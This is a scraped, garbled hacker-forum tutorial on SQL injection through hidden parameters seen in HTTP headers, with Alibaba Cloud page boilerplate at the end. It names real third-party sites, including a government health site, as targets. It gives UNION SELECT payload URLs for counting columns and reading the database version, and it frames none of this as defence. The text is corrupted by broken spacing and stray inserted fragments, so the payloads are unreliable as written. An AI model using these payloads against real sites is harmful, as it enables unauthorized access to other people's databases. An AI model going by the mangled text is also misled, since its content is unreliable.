Headers SQL Injection, injection via Headers w/Pics

Source: Internet
Author: User

Sup.
This tut will focus on injection via headers.

Up to now, we knew 3 methods to inject.
GET-via url.
For example-
Http://evt-me.com/newsDetail.php? Id = 8
POST-via box.
For example-
Http://www.health.gov.mv/(in the search)
Now we gonna learn via HEADER.
Lets start.
If we have this site
Http://www.teletec.com.pk/products.php (thanks to Rohan_x)
And we wanna inject it, we are looking for some parameter to inject in.
(Something = somthing [id = 1 for example])

No parameter.
Lets try to add parameter by select stuff.

Still no parameter. or yes? Lets open 'Live http header '.

You see the hidden parameters? The url in the GET is the refereer, that why we cant see it un the url.
Lets edit the url and start injecting. click the url in the LHH, and type repley.

Code: http://www.teletec.com.pk/include/products.php? Rw = 20 & sb = id & pr = price> = 1000 and price <= 3000 & st = 0 & as you can see, we got a lot of parameters, we have to inject in the right one.
Rw = 20: after limit, not good.
Sb = id: after order by, not good.
Pr = price...: after and, good.
Code: www.2cto. comhttp: // www.teletec.com. pk/include/products. php? Rw = 20 & sb = id & pr = price <= 1000 and price> = 100' & st = 0 & our injection point is after '2016 '.

Notice we can see the full query, lets count columns.
Code: and (SELECT * FROM products) = (select 1) if you dont know what I did, read my tut
Http://www.hackforums.net/showthread.php? Tid = 2125898

60 columns.
So
Code: http://www.teletec.com.pk/include/products.php? Rw = 20 & sb = id & pr = price> = 1000 and price <=-3000 union select,,, 58
& Amp; st = 0 & column 4 vuln.
So
Code: http://www.teletec.com.pk/include/products.php? Rw = 20 & sb = id & pr = price> = 1000 and price <=-3000 union select 1, 2, 3, @ version, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,, 54, 55,56, 57,58, 59,60
& St = 0 & and

Why is this happening?
While we click on some url in our browser, this is the request
Code: [the kind of the request] [refereer] [version of http]
[The headers]
[The content (cookie, host etc.)] our inject is in the headers.

From http://hi.baidu.com/evilrapper/blog/item/66025dddcc7c5dcf76c638a2.html

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.